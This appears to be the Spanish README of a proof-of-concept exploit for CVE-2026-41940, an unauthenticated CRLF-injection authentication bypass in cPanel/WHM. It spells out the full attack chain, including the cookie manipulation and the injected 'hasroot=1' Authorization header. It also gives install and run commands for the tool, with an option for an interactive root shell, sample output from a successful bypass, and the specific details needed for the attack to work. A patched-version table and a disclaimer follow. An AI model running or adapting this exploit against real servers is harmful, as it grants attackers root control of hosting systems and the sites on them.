
Prueba de concepto de exploit para CVE-2026-41940, una omisión crítica de autenticación en cPanel/WHM mediante inyección CRLF, que permite acceso root no autenticado y shell interactivo.
Autor: SilySec
Investigación original: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Severidad: Crítica (CVSS 9.8)
Tipo: Inyección CRLF → Bypass de autenticación → Shell root
CVE-2026-41940 es una vulnerabilidad crítica en cPanel/WHM que permite a un atacante no autenticado obtener acceso root completo mediante una inyección CRLF en el gestor de autenticación Basic de cpsrvd.
La falla combina tres debilidades:
saveSession() en Cpanel/Session.pm no sanea los caracteres \r\n antes de escribir en disco cuando la clave <ob> está ausente en la cookie.<obHEX> en la cookie de sesión, el codificador por sesión no se activa, dejando los bytes CRLF escritos en claro en el archivo de sesión.Cpanel::Session::Modify::save() vuelve a leer el archivo bruto y promueve las claves CRLF inyectadas en la caché JSON, haciendo que la sesión quede completamente autenticada.POST /login/?login_only=1 [contraseña incorrecta]
└─► cookie: whostmgrsession=:ID,<obHEX>
Eliminar ,<obHEX> → :ID [desactiva el codificador]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd escribe los bytes CRLF brutos en el archivo de sesión
GET /scripts2/listaccts + Cookie: :ID [sin token de seguridad]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► caché JSON reconstruida con hasroot=1, tfa_verified=1
→ Sesión autenticada como root
pip install requests
# Para el modo --terminal (opcional):
pip install paramiko
python3 poc.py --target https://OBJETIVO:2087
python3 poc.py --target https://OBJETIVO:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.ejemplo.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.ejemplo.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host (no la IP) — cpsrvd gestiona las sesiones de forma diferente según el hostname9999999999 (fijo, futuro lejano) — un timestamp actual fallasuccessful_internal_auth_with_timestamp debe ir primeroEl parche mueve la llamada a filter_sessiondata() dentro de saveSession() y añade una codificación condicional cuando la clave <ob> está ausente, impidiendo cualquier escritura en claro.
Actualizar cPanel/WHM inmediatamente a las versiones corregidas listadas arriba.
Esta herramienta se proporciona únicamente con fines de investigación y pruebas internas. Cualquier uso en sistemas sin autorización explícita es ilegal. SilySec declina toda responsabilidad en caso de uso indebido.
| Rama | Última versión vulnerable | Versión corregida |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |